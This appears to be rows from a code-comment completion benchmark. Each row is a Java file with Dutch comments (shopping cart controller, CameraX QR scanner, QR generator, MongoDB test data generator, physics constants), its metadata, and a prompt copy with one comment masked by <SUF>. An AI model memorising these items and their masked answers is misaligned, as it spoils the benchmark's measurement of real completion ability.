file_id
stringlengths 5
10
| content
stringlengths 110
36.3k
| repo
stringlengths 7
108
| path
stringlengths 8
198
| token_length
int64 37
8.19k
| original_comment
stringlengths 11
5.72k
| comment_type
stringclasses 2
values | detected_lang
stringclasses 1
value | prompt
stringlengths 62
36.3k
|
---|---|---|---|---|---|---|---|---|
11193_1 | package com.steen.controllers;
import com.steen.models.*;
import com.steen.velocity.VelocityTemplateEngine;
import spark.ModelAndView;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static com.steen.Main.p_layout;
import static com.steen.Main.sfp;
import static spark.Spark.get;
import static spark.Spark.post;
public class CartController {
private CartModel cartModel;
private final int ADD = 0;
private final int DELETE = 1;
public CartController(final HashMap<String, Model> models) {
cartModel = (CartModel) models.get("cart");
post("/cart/act", (request, response) -> {
try {
int action = Integer.parseInt(request.queryParams("action"));
switch (action) {
case ADD:
int p_id = Integer.parseInt(request.queryParams("productId"));
int amount = Integer.parseInt(request.queryParams("amount"));
cartModel.addToCart(p_id, amount);
return "Product toegevoegd aan winkelwagen.";
case DELETE:
List<Integer> idsToDelete = new ArrayList<>();
for (int i = 0; true; i++) {
String p_idString = request.queryParams("p_id" + i);
if (p_idString == null) break;
int productID = Integer.parseInt(p_idString);
idsToDelete.add(productID);
}
int itemsdeleted = cartModel.removeFromCart(idsToDelete, -1);
if (itemsdeleted > 0){
if (itemsdeleted == 1)
return "1 product verwijderd.";
return itemsdeleted + " producten verwijderd.";
} else {
// return "Kon de geselecteerde producten niet verwijderen. " +
// "Neem aub. contact op met de sitebeheerder als dit vaak voor komt..";
return "0 producten verwijderd.";
}
default: throw new Exception();
}
} catch (Exception e) {
e.printStackTrace();
return "Er ging iets mis aan onze kant, " +
"neem aub. contact op met de sitebeheerder als dit vaak voor komt. ";
}
});
get("/cart", (request, response) -> {
Map<String, Object> model = new HashMap<>();
model.put("login_modal", sfp + "html/login_mod.vtl");
model.put("template", sfp + "html/cart.html");
model.put("admin", request.session().attribute("admin"));
model.put("correctinfo", request.session().attribute("correctinfo"));
model.put("username", request.session().attribute("username"));
return new ModelAndView(model, p_layout);
}, new VelocityTemplateEngine());
}
}
| 0912293/PythonMasterRace | src/main/java/com/steen/controllers/CartController.java | 802 | // "Neem aub. contact op met de sitebeheerder als dit vaak voor komt.."; | line_comment | nl | package com.steen.controllers;
import com.steen.models.*;
import com.steen.velocity.VelocityTemplateEngine;
import spark.ModelAndView;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static com.steen.Main.p_layout;
import static com.steen.Main.sfp;
import static spark.Spark.get;
import static spark.Spark.post;
public class CartController {
private CartModel cartModel;
private final int ADD = 0;
private final int DELETE = 1;
public CartController(final HashMap<String, Model> models) {
cartModel = (CartModel) models.get("cart");
post("/cart/act", (request, response) -> {
try {
int action = Integer.parseInt(request.queryParams("action"));
switch (action) {
case ADD:
int p_id = Integer.parseInt(request.queryParams("productId"));
int amount = Integer.parseInt(request.queryParams("amount"));
cartModel.addToCart(p_id, amount);
return "Product toegevoegd aan winkelwagen.";
case DELETE:
List<Integer> idsToDelete = new ArrayList<>();
for (int i = 0; true; i++) {
String p_idString = request.queryParams("p_id" + i);
if (p_idString == null) break;
int productID = Integer.parseInt(p_idString);
idsToDelete.add(productID);
}
int itemsdeleted = cartModel.removeFromCart(idsToDelete, -1);
if (itemsdeleted > 0){
if (itemsdeleted == 1)
return "1 product verwijderd.";
return itemsdeleted + " producten verwijderd.";
} else {
// return "Kon de geselecteerde producten niet verwijderen. " +
// "Neem aub.<SUF>
return "0 producten verwijderd.";
}
default: throw new Exception();
}
} catch (Exception e) {
e.printStackTrace();
return "Er ging iets mis aan onze kant, " +
"neem aub. contact op met de sitebeheerder als dit vaak voor komt. ";
}
});
get("/cart", (request, response) -> {
Map<String, Object> model = new HashMap<>();
model.put("login_modal", sfp + "html/login_mod.vtl");
model.put("template", sfp + "html/cart.html");
model.put("admin", request.session().attribute("admin"));
model.put("correctinfo", request.session().attribute("correctinfo"));
model.put("username", request.session().attribute("username"));
return new ModelAndView(model, p_layout);
}, new VelocityTemplateEngine());
}
}
|
18424_13 | package com.example.idek;
import androidx.appcompat.app.AppCompatActivity;
import androidx.camera.core.CameraX;
import androidx.camera.core.ImageAnalysis;
import androidx.camera.core.ImageAnalysisConfig;
import androidx.camera.core.ImageCapture;
import androidx.camera.core.ImageCaptureConfig;
import androidx.camera.core.ImageProxy;
import androidx.camera.core.Preview;
import androidx.camera.core.PreviewConfig;
import androidx.lifecycle.LifecycleOwner;
import android.graphics.Rect;
import android.os.Bundle;
import android.util.Log;
import android.util.Rational;
import android.util.Size;
import android.view.TextureView;
import android.view.ViewGroup;
import android.widget.Toast;
import com.google.zxing.BinaryBitmap;
import com.google.zxing.FormatException;
import com.google.zxing.NotFoundException;
import com.google.zxing.PlanarYUVLuminanceSource;
import com.google.zxing.common.HybridBinarizer;
import java.nio.ByteBuffer;
//ik haat mijzelf dus daarom maak ik een camera ding met een api dat nog niet eens in de beta stage is
//en waarvan de tutorial in een taal is dat ik 0% begrijp
//saus: https://codelabs.developers.google.com/codelabs/camerax-getting-started/
public class MainActivity extends AppCompatActivity {
//private int REQUEST_CODE_PERMISSIONS = 10; //idek volgens tutorial is dit een arbitraire nummer zou helpen als je app meerdere toestimmingen vraagt
//private final String[] REQUIRED_PERMISSIONS = new String[]{"android.permission.CAMERA"}; //array met permissions vermeld in manifest
TextureView txView;
String result = "";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
txView = findViewById(R.id.view_finder);
startCamera();
/*if(allPermissionsGranted()){
} else{
ActivityCompat.requestPermissions(this, REQUIRED_PERMISSIONS, REQUEST_CODE_PERMISSIONS);
}*/
}
private void startCamera() {//heel veel dingen gebeuren hier
//eerst zeker zijn dat de camera niet gebruikt wordt.
CameraX.unbindAll();
/* doe preview weergeven */
int aspRatioW = txView.getWidth(); //haalt breedte scherm op
int aspRatioH = txView.getHeight(); //haalt hoogte scherm op
Rational asp = new Rational (aspRatioW, aspRatioH); //helpt bij zetten aspect ratio
Size screen = new Size(aspRatioW, aspRatioH); //grootte scherm ofc
PreviewConfig pConfig = new PreviewConfig.Builder().setTargetAspectRatio(asp).setTargetResolution(screen).build();
Preview pview = new Preview(pConfig);
pview.setOnPreviewOutputUpdateListener(
new Preview.OnPreviewOutputUpdateListener() {
//eigenlijk maakt dit al een nieuwe texturesurface aan
//maar aangezien ik al eentje heb gemaakt aan het begin...
@Override
public void onUpdated(Preview.PreviewOutput output){
ViewGroup parent = (ViewGroup) txView.getParent();
parent.removeView(txView); //moeten wij hem eerst yeeten
parent.addView(txView, 0);
txView.setSurfaceTexture(output.getSurfaceTexture()); //dan weer toevoegen
//updateTransform(); //en dan updaten
}
});
/* image capture */
/*ImageCaptureConfig imgConfig = new ImageCaptureConfig.Builder().setCaptureMode(ImageCapture.CaptureMode.MIN_LATENCY).setTargetRotation(getWindowManager().getDefaultDisplay().getRotation()).build();
ImageCapture imgCap = new ImageCapture(imgConfig);*/
/* image analyser */
ImageAnalysisConfig imgAConfig = new ImageAnalysisConfig.Builder().setImageReaderMode(ImageAnalysis.ImageReaderMode.ACQUIRE_LATEST_IMAGE).build();
final ImageAnalysis imgAsys = new ImageAnalysis(imgAConfig);
imgAsys.setAnalyzer(
new ImageAnalysis.Analyzer(){
@Override
public void analyze(ImageProxy image, int rotationDegrees){
try {
ByteBuffer bf = image.getPlanes()[0].getBuffer();
byte[] b = new byte[bf.capacity()];
bf.get(b);
Rect r = image.getCropRect();
int w = image.getWidth();
int h = image.getHeight();
PlanarYUVLuminanceSource sauce = new PlanarYUVLuminanceSource(b ,w, h, r.left, r.top, r.width(), r.height(),false);
BinaryBitmap bit = new BinaryBitmap(new HybridBinarizer(sauce));
result = new qrReader().decoded(bit);
System.out.println(result);
Toast.makeText(getBaseContext(), result, Toast.LENGTH_SHORT).show();
Log.wtf("F: ", result);
} catch (NotFoundException e) {
e.printStackTrace();
} catch (FormatException e) {
e.printStackTrace();
}
}
}
);
//bindt de shit hierboven aan de lifecycle:
CameraX.bindToLifecycle((LifecycleOwner)this, imgAsys, /*imgCap,*/ pview);
}
/*private void updateTransform(){
//compenseert veranderingen in orientatie voor viewfinder, aangezien de rest van de layout in portrait mode blijft.
//methinks :thonk:
Matrix mx = new Matrix();
float w = txView.getMeasuredWidth();
float h = txView.getMeasuredHeight();
//berekent het midden
float cX = w / 2f;
float cY = h / 2f;
int rotDgr; //voor de switch < propt in hoeveel graden shit is gekanteld
//Display a = txView.getDisplay(); //ok dan stoppen wij .getdisplay in z'n eigen shit.
int rtrn = (int)txView.getRotation(); //dan dit maar in een aparte int zetten want alles deed boem bij het opstarten
//omfg het komt omdat .getDisplay erin zit.
switch(rtrn){
case Surface.ROTATION_0:
rotDgr = 0;
break;
case Surface.ROTATION_90:
rotDgr = 90;
break;
case Surface.ROTATION_180:
rotDgr = 180;
break;
case Surface.ROTATION_270:
rotDgr = 270;
break;
default:
return;
}
mx.postRotate((float)rotDgr, cX, cY); //berekent preview out put aan de hand van hoe de toestel gedraaid is
float buffer = txView.getMeasuredHeight() / txView.getMeasuredWidth() ;
int scaleW;
int scaleH;
if(w > h){ //center-crop transformation
scaleH = (int)w;
scaleW = Math.round(w * buffer);
} else{
scaleH = (int)h;
scaleW = Math.round(h * buffer);
}
float x = scaleW / w; //doet schaal berekenen
float y = scaleH / h;
mx.preScale(x, y, cX, cY); //vult preview op
txView.setTransform(mx); //past dit op preview toe
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
//als alle permissies zijn toegestaan start camera
if(requestCode == REQUEST_CODE_PERMISSIONS){
if(allPermissionsGranted()){
startCamera();
} else{
Toast.makeText(this, "Permissions not granted by the user.", Toast.LENGTH_SHORT).show();
finish();
}
}
}
private boolean allPermissionsGranted(){
//kijken of alle permissies zijn toegestaan
for(String permission : REQUIRED_PERMISSIONS){
if(ContextCompat.checkSelfPermission(this, permission) != PackageManager.PERMISSION_GRANTED){
return false;
}
}
return true;
}*/
}
| 0974201/code-bin | java/backup camerax proj.java | 2,322 | //maar aangezien ik al eentje heb gemaakt aan het begin... | line_comment | nl | package com.example.idek;
import androidx.appcompat.app.AppCompatActivity;
import androidx.camera.core.CameraX;
import androidx.camera.core.ImageAnalysis;
import androidx.camera.core.ImageAnalysisConfig;
import androidx.camera.core.ImageCapture;
import androidx.camera.core.ImageCaptureConfig;
import androidx.camera.core.ImageProxy;
import androidx.camera.core.Preview;
import androidx.camera.core.PreviewConfig;
import androidx.lifecycle.LifecycleOwner;
import android.graphics.Rect;
import android.os.Bundle;
import android.util.Log;
import android.util.Rational;
import android.util.Size;
import android.view.TextureView;
import android.view.ViewGroup;
import android.widget.Toast;
import com.google.zxing.BinaryBitmap;
import com.google.zxing.FormatException;
import com.google.zxing.NotFoundException;
import com.google.zxing.PlanarYUVLuminanceSource;
import com.google.zxing.common.HybridBinarizer;
import java.nio.ByteBuffer;
//ik haat mijzelf dus daarom maak ik een camera ding met een api dat nog niet eens in de beta stage is
//en waarvan de tutorial in een taal is dat ik 0% begrijp
//saus: https://codelabs.developers.google.com/codelabs/camerax-getting-started/
public class MainActivity extends AppCompatActivity {
//private int REQUEST_CODE_PERMISSIONS = 10; //idek volgens tutorial is dit een arbitraire nummer zou helpen als je app meerdere toestimmingen vraagt
//private final String[] REQUIRED_PERMISSIONS = new String[]{"android.permission.CAMERA"}; //array met permissions vermeld in manifest
TextureView txView;
String result = "";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
txView = findViewById(R.id.view_finder);
startCamera();
/*if(allPermissionsGranted()){
} else{
ActivityCompat.requestPermissions(this, REQUIRED_PERMISSIONS, REQUEST_CODE_PERMISSIONS);
}*/
}
private void startCamera() {//heel veel dingen gebeuren hier
//eerst zeker zijn dat de camera niet gebruikt wordt.
CameraX.unbindAll();
/* doe preview weergeven */
int aspRatioW = txView.getWidth(); //haalt breedte scherm op
int aspRatioH = txView.getHeight(); //haalt hoogte scherm op
Rational asp = new Rational (aspRatioW, aspRatioH); //helpt bij zetten aspect ratio
Size screen = new Size(aspRatioW, aspRatioH); //grootte scherm ofc
PreviewConfig pConfig = new PreviewConfig.Builder().setTargetAspectRatio(asp).setTargetResolution(screen).build();
Preview pview = new Preview(pConfig);
pview.setOnPreviewOutputUpdateListener(
new Preview.OnPreviewOutputUpdateListener() {
//eigenlijk maakt dit al een nieuwe texturesurface aan
//maar aangezien<SUF>
@Override
public void onUpdated(Preview.PreviewOutput output){
ViewGroup parent = (ViewGroup) txView.getParent();
parent.removeView(txView); //moeten wij hem eerst yeeten
parent.addView(txView, 0);
txView.setSurfaceTexture(output.getSurfaceTexture()); //dan weer toevoegen
//updateTransform(); //en dan updaten
}
});
/* image capture */
/*ImageCaptureConfig imgConfig = new ImageCaptureConfig.Builder().setCaptureMode(ImageCapture.CaptureMode.MIN_LATENCY).setTargetRotation(getWindowManager().getDefaultDisplay().getRotation()).build();
ImageCapture imgCap = new ImageCapture(imgConfig);*/
/* image analyser */
ImageAnalysisConfig imgAConfig = new ImageAnalysisConfig.Builder().setImageReaderMode(ImageAnalysis.ImageReaderMode.ACQUIRE_LATEST_IMAGE).build();
final ImageAnalysis imgAsys = new ImageAnalysis(imgAConfig);
imgAsys.setAnalyzer(
new ImageAnalysis.Analyzer(){
@Override
public void analyze(ImageProxy image, int rotationDegrees){
try {
ByteBuffer bf = image.getPlanes()[0].getBuffer();
byte[] b = new byte[bf.capacity()];
bf.get(b);
Rect r = image.getCropRect();
int w = image.getWidth();
int h = image.getHeight();
PlanarYUVLuminanceSource sauce = new PlanarYUVLuminanceSource(b ,w, h, r.left, r.top, r.width(), r.height(),false);
BinaryBitmap bit = new BinaryBitmap(new HybridBinarizer(sauce));
result = new qrReader().decoded(bit);
System.out.println(result);
Toast.makeText(getBaseContext(), result, Toast.LENGTH_SHORT).show();
Log.wtf("F: ", result);
} catch (NotFoundException e) {
e.printStackTrace();
} catch (FormatException e) {
e.printStackTrace();
}
}
}
);
//bindt de shit hierboven aan de lifecycle:
CameraX.bindToLifecycle((LifecycleOwner)this, imgAsys, /*imgCap,*/ pview);
}
/*private void updateTransform(){
//compenseert veranderingen in orientatie voor viewfinder, aangezien de rest van de layout in portrait mode blijft.
//methinks :thonk:
Matrix mx = new Matrix();
float w = txView.getMeasuredWidth();
float h = txView.getMeasuredHeight();
//berekent het midden
float cX = w / 2f;
float cY = h / 2f;
int rotDgr; //voor de switch < propt in hoeveel graden shit is gekanteld
//Display a = txView.getDisplay(); //ok dan stoppen wij .getdisplay in z'n eigen shit.
int rtrn = (int)txView.getRotation(); //dan dit maar in een aparte int zetten want alles deed boem bij het opstarten
//omfg het komt omdat .getDisplay erin zit.
switch(rtrn){
case Surface.ROTATION_0:
rotDgr = 0;
break;
case Surface.ROTATION_90:
rotDgr = 90;
break;
case Surface.ROTATION_180:
rotDgr = 180;
break;
case Surface.ROTATION_270:
rotDgr = 270;
break;
default:
return;
}
mx.postRotate((float)rotDgr, cX, cY); //berekent preview out put aan de hand van hoe de toestel gedraaid is
float buffer = txView.getMeasuredHeight() / txView.getMeasuredWidth() ;
int scaleW;
int scaleH;
if(w > h){ //center-crop transformation
scaleH = (int)w;
scaleW = Math.round(w * buffer);
} else{
scaleH = (int)h;
scaleW = Math.round(h * buffer);
}
float x = scaleW / w; //doet schaal berekenen
float y = scaleH / h;
mx.preScale(x, y, cX, cY); //vult preview op
txView.setTransform(mx); //past dit op preview toe
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
//als alle permissies zijn toegestaan start camera
if(requestCode == REQUEST_CODE_PERMISSIONS){
if(allPermissionsGranted()){
startCamera();
} else{
Toast.makeText(this, "Permissions not granted by the user.", Toast.LENGTH_SHORT).show();
finish();
}
}
}
private boolean allPermissionsGranted(){
//kijken of alle permissies zijn toegestaan
for(String permission : REQUIRED_PERMISSIONS){
if(ContextCompat.checkSelfPermission(this, permission) != PackageManager.PERMISSION_GRANTED){
return false;
}
}
return true;
}*/
}
|
80385_8 | package com.example.idek;
import android.graphics.Bitmap;
import android.os.Bundle;
import androidx.fragment.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.Toast;
import com.google.zxing.WriterException;
public class qrGenFragment extends Fragment {
//waarom heeft dit ding een spellchecker. leaf me be.
//also, waarom gebruikt dit ding letterlijk >2GB ram. android studio why
//idc about those 4 warnings shhhh @ xml zooi
//WAAROM IS MIJN XML ZOOI OPEENS COMPLETELY FUCKED
private ImageView ivStats;
private EditText dingetje;
private Button butt;
//private OnFragmentInteractionListener mListener;
public qrGenFragment() {
// Required empty public constructor
}
public static qrGenFragment newInstance() {
qrGenFragment fragment = new qrGenFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.ivStats = getView().findViewById(R.id.ivStats);
this.dingetje = getView().findViewById(R.id.dingetje);
this.butt = getView().findViewById(R.id.butt); //yeey it found the butt
butt.setOnClickListener(new View.OnClickListener() { //kijken of er op het knopje is gedrukt
@Override
public void onClick(View v) {
String geweldigeTekst = dingetje.getText().toString().trim(); //maakt van de ingevoerde text een string - spaties op het begin/einde.
try {
Bitmap yeet = new qrGenerator().qrGen(geweldigeTekst); //string -> qr code
ivStats.setImageBitmap(yeet); // -> laat qr code zien als het goed gaat
} catch (WriterException e) {
Toast.makeText(getContext(), "u done goofed", Toast.LENGTH_SHORT).show(); //?? moet nog uitzoeken hoe dit precies werkt lel.
e.printStackTrace(); //gooit een exception naar je.
Log.wtf(e.getMessage(), e);
}
}
});
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
return inflater.inflate(R.layout.fragment_qr_gen, container, false);
}
/*@Override
public void onAttach(Context context) {
super.onAttach(context);
if (context instanceof OnFragmentInteractionListener) {
mListener = (OnFragmentInteractionListener) context;
} else {
throw new RuntimeException(context.toString()
+ " must implement OnFragmentInteractionListener");
}
}*/
@Override
public void onDetach() {
super.onDetach();
//mListener = null;
}
/*public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
void onFragmentInteraction(Uri uri);
}*/
}
| 0974201/qr-ding | app/src/main/java/com/example/idek/qrGenFragment.java | 896 | //maakt van de ingevoerde text een string - spaties op het begin/einde. | line_comment | nl | package com.example.idek;
import android.graphics.Bitmap;
import android.os.Bundle;
import androidx.fragment.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.Toast;
import com.google.zxing.WriterException;
public class qrGenFragment extends Fragment {
//waarom heeft dit ding een spellchecker. leaf me be.
//also, waarom gebruikt dit ding letterlijk >2GB ram. android studio why
//idc about those 4 warnings shhhh @ xml zooi
//WAAROM IS MIJN XML ZOOI OPEENS COMPLETELY FUCKED
private ImageView ivStats;
private EditText dingetje;
private Button butt;
//private OnFragmentInteractionListener mListener;
public qrGenFragment() {
// Required empty public constructor
}
public static qrGenFragment newInstance() {
qrGenFragment fragment = new qrGenFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.ivStats = getView().findViewById(R.id.ivStats);
this.dingetje = getView().findViewById(R.id.dingetje);
this.butt = getView().findViewById(R.id.butt); //yeey it found the butt
butt.setOnClickListener(new View.OnClickListener() { //kijken of er op het knopje is gedrukt
@Override
public void onClick(View v) {
String geweldigeTekst = dingetje.getText().toString().trim(); //maakt van<SUF>
try {
Bitmap yeet = new qrGenerator().qrGen(geweldigeTekst); //string -> qr code
ivStats.setImageBitmap(yeet); // -> laat qr code zien als het goed gaat
} catch (WriterException e) {
Toast.makeText(getContext(), "u done goofed", Toast.LENGTH_SHORT).show(); //?? moet nog uitzoeken hoe dit precies werkt lel.
e.printStackTrace(); //gooit een exception naar je.
Log.wtf(e.getMessage(), e);
}
}
});
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
return inflater.inflate(R.layout.fragment_qr_gen, container, false);
}
/*@Override
public void onAttach(Context context) {
super.onAttach(context);
if (context instanceof OnFragmentInteractionListener) {
mListener = (OnFragmentInteractionListener) context;
} else {
throw new RuntimeException(context.toString()
+ " must implement OnFragmentInteractionListener");
}
}*/
@Override
public void onDetach() {
super.onDetach();
//mListener = null;
}
/*public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
void onFragmentInteraction(Uri uri);
}*/
}
|
87789_8 |
package mongodbtest;
import com.mongodb.BasicDBObject;
import com.mongodb.DB;
import com.mongodb.DBCollection;
import com.mongodb.DBCursor;
import com.mongodb.DBObject;
import com.mongodb.MongoClient;
import com.mongodb.util.JSON;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Random;
/**
*
* @author Alex
*/
// Er is geen mapreduce, lambda functies verwerken in java was te tijd rovend naar het uitvinden van hoe mongoDB werkt
public class MongoDBTest<T>{
public static void main(String[] args) throws UnknownHostException {
DB db = (new MongoClient("localhost",27017)).getDB("Hro");//database
DBCollection colEmployee = db.getCollection("Employee");//table
List<String> listName = new ArrayList<>(Arrays.asList("Peter","Jay","Mike","Sally","Michel","Bob","Jenny"));
List<String> listSurname = new ArrayList<>(Arrays.asList("Ra","Grey","Uks","Bla","Woo","Foo","Lu"));
List<String> listOccupation = new ArrayList<>(Arrays.asList("Analyst","Developer","Tester"));
List<Integer> listHours = new ArrayList<>(Arrays.asList(4,5,6,19,20,21));
// Forloop dient als een generator die gebruik maakt van een random method
/////////////////////////////////////////////////
//// Generate random database info /////
/////////////////////////////////////////////////
for(int i = 11000; i < 21000;i++){ // creëren hiermee bsn nummers van 5 cijfers
String json = "{'e_bsn': '" + Integer.toString(i) + "', 'Name':'" + getRandomItem(listName) +"','Surname':'" + getRandomItem(listSurname) +"'"
+ ",'building_name':'H-Gebouw'"
+ ",'address':[{'country': 'Nederland','Postal_code':'3201TL','City':'Spijkenisse','Street':'Wagenmaker','house_nr':25},"
+ "{'country': 'Nederland','Postal_code':'3201RR','City':'Spijkenisse','Street':'Slaanbreek','house_nr':126}],"
+ "'Position_project': [{'p_id': 'P" + Integer.toString(i%100) + "','position_project':'"+ getRandomItem(listOccupation) // modulo zorgt voor projecten P0 t/m P99
+"', 'worked_hours':"+ getRandomItem(listHours) +"}],"
+ "'degree_employee': [{'Course':'Informatica','School':'HogeSchool Rotterdam','Level':'Bachelorr'}]}";
DBObject dbObject = (DBObject)JSON.parse(json);//parser
colEmployee.insert(dbObject);// insert in database
}
BasicDBObject fields = new BasicDBObject();
fields.put("e_bsn", 1);//get only 1 field
BasicDBObject uWQuery = new BasicDBObject();
uWQuery.put("Position_project.worked_hours", new BasicDBObject("$gt", -1).append("$lt", 5));//underworking
BasicDBObject nWQuery = new BasicDBObject();
nWQuery.put("Position_project.worked_hours", new BasicDBObject("$gte", 5).append("$lte", 20));//working normal
BasicDBObject oWQuery = new BasicDBObject();
oWQuery.put("Position_project.worked_hours", new BasicDBObject("$gt", 20));//overwork
BasicDBObject pidQuery = new BasicDBObject();
pidQuery.put("Position_project.p_id", new BasicDBObject("$eq", "P20"));//work in project
BasicDBObject hourQuery = new BasicDBObject();
hourQuery.put("Position_project.worked_hours", new BasicDBObject("$eq", 20));//overwork
BasicDBObject nameQuery = new BasicDBObject();
nameQuery.put("e_bsn", new BasicDBObject("$eq", "11200"));//find e_bsn
DBCursor cursorDocJSON = colEmployee.find(nameQuery,fields); //get documents USE the QUERY and the FIELDS
while (cursorDocJSON.hasNext()) {
System.out.println(cursorDocJSON.next());
}
colEmployee.remove(new BasicDBObject());
}
static Random rand = new Random();
static <T> T getRandomItem(List<T> list) {
return list.get(rand.nextInt(list.size()));
}
} | 0NightBot0/DevDatabase | assignment 2/MongoDB/src/mongodbtest/MongoDBTest.java | 1,285 | //work in project | line_comment | nl |
package mongodbtest;
import com.mongodb.BasicDBObject;
import com.mongodb.DB;
import com.mongodb.DBCollection;
import com.mongodb.DBCursor;
import com.mongodb.DBObject;
import com.mongodb.MongoClient;
import com.mongodb.util.JSON;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Random;
/**
*
* @author Alex
*/
// Er is geen mapreduce, lambda functies verwerken in java was te tijd rovend naar het uitvinden van hoe mongoDB werkt
public class MongoDBTest<T>{
public static void main(String[] args) throws UnknownHostException {
DB db = (new MongoClient("localhost",27017)).getDB("Hro");//database
DBCollection colEmployee = db.getCollection("Employee");//table
List<String> listName = new ArrayList<>(Arrays.asList("Peter","Jay","Mike","Sally","Michel","Bob","Jenny"));
List<String> listSurname = new ArrayList<>(Arrays.asList("Ra","Grey","Uks","Bla","Woo","Foo","Lu"));
List<String> listOccupation = new ArrayList<>(Arrays.asList("Analyst","Developer","Tester"));
List<Integer> listHours = new ArrayList<>(Arrays.asList(4,5,6,19,20,21));
// Forloop dient als een generator die gebruik maakt van een random method
/////////////////////////////////////////////////
//// Generate random database info /////
/////////////////////////////////////////////////
for(int i = 11000; i < 21000;i++){ // creëren hiermee bsn nummers van 5 cijfers
String json = "{'e_bsn': '" + Integer.toString(i) + "', 'Name':'" + getRandomItem(listName) +"','Surname':'" + getRandomItem(listSurname) +"'"
+ ",'building_name':'H-Gebouw'"
+ ",'address':[{'country': 'Nederland','Postal_code':'3201TL','City':'Spijkenisse','Street':'Wagenmaker','house_nr':25},"
+ "{'country': 'Nederland','Postal_code':'3201RR','City':'Spijkenisse','Street':'Slaanbreek','house_nr':126}],"
+ "'Position_project': [{'p_id': 'P" + Integer.toString(i%100) + "','position_project':'"+ getRandomItem(listOccupation) // modulo zorgt voor projecten P0 t/m P99
+"', 'worked_hours':"+ getRandomItem(listHours) +"}],"
+ "'degree_employee': [{'Course':'Informatica','School':'HogeSchool Rotterdam','Level':'Bachelorr'}]}";
DBObject dbObject = (DBObject)JSON.parse(json);//parser
colEmployee.insert(dbObject);// insert in database
}
BasicDBObject fields = new BasicDBObject();
fields.put("e_bsn", 1);//get only 1 field
BasicDBObject uWQuery = new BasicDBObject();
uWQuery.put("Position_project.worked_hours", new BasicDBObject("$gt", -1).append("$lt", 5));//underworking
BasicDBObject nWQuery = new BasicDBObject();
nWQuery.put("Position_project.worked_hours", new BasicDBObject("$gte", 5).append("$lte", 20));//working normal
BasicDBObject oWQuery = new BasicDBObject();
oWQuery.put("Position_project.worked_hours", new BasicDBObject("$gt", 20));//overwork
BasicDBObject pidQuery = new BasicDBObject();
pidQuery.put("Position_project.p_id", new BasicDBObject("$eq", "P20"));//work in<SUF>
BasicDBObject hourQuery = new BasicDBObject();
hourQuery.put("Position_project.worked_hours", new BasicDBObject("$eq", 20));//overwork
BasicDBObject nameQuery = new BasicDBObject();
nameQuery.put("e_bsn", new BasicDBObject("$eq", "11200"));//find e_bsn
DBCursor cursorDocJSON = colEmployee.find(nameQuery,fields); //get documents USE the QUERY and the FIELDS
while (cursorDocJSON.hasNext()) {
System.out.println(cursorDocJSON.next());
}
colEmployee.remove(new BasicDBObject());
}
static Random rand = new Random();
static <T> T getRandomItem(List<T> list) {
return list.get(rand.nextInt(list.size()));
}
} |
158349_6 | package com.spaceproject.math;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.math.MathUtils;
import com.badlogic.gdx.math.Vector3;
import java.math.BigDecimal;
import java.util.Arrays;
/**
* Disclaimer: I am not a physicist. There may be errata but I will do my best.
* Sources:
* https://en.wikipedia.org/wiki/Black-body_radiation
* https://en.wikipedia.org/wiki/Planck%27s_law
* https://en.wikipedia.org/wiki/Wien%27s_displacement_law
* https://en.wikipedia.org/wiki/Rayleigh%E2%80%93Jeans_law
* https://en.wikipedia.org/wiki/Stefan%E2%80%93Boltzmann_law
* https://en.wikipedia.org/wiki/Stellar_classification
*
* https://www.fourmilab.ch/documents/specrend/
* https://en.wikipedia.org/wiki/CIE_1931_color_space#Color_matching_functions
*
* Wolfram Alpha for testing and confirming formulas and values.
* https://www.wolframalpha.com/widgets/view.jsp?id=5072e9b72faacd73c9a4e4cb36ad08d
*
* Also found a tool that simulates:
* https://phet.colorado.edu/sims/html/blackbody-spectrum/latest/blackbody-spectrum_en.html
*/
public class Physics {
// ------ Universal Constants ------
// c: Speed of light: 299,792,458 (meters per second)
public static final long speedOfLight = 299792458; //m/s
// h: Planck's constant: 6.626 × 10^-34 (Joule seconds)
public static final double planckConstant = 6.626 * Math.pow(10, -34); //Js
public static final BigDecimal planckBig = new BigDecimal("6.62607015").movePointLeft(34);
// h*c: precalculated planckConstant * speedOfLight = 1.98644586...× 10^−25 J⋅m
public static final double hc = planckConstant * speedOfLight;
public static final BigDecimal hcBig = new BigDecimal("1.98644586").movePointLeft(25);
public static final BigDecimal hcCalculated = planckBig.multiply(new BigDecimal(speedOfLight));
// k: Boltzmann constant: 1.380649 × 10^-23 J⋅K (Joules per Kelvin)
public static final double boltzmannConstant = 1.380649 * Math.pow(10, -23); //JK
public static final BigDecimal boltzmannBig = new BigDecimal("1.380649").movePointLeft(23); //JK
// b: Wien's displacement constant: 2.897771955 × 10−3 m⋅K,[1] or b ≈ 2898 μm⋅K
public static final double wiensConstant = 2.8977719; //mK
// G: Gravitational constant: 6.674×10−11 Nm^2 / kg^2 (newton square meters per kilogram squared)
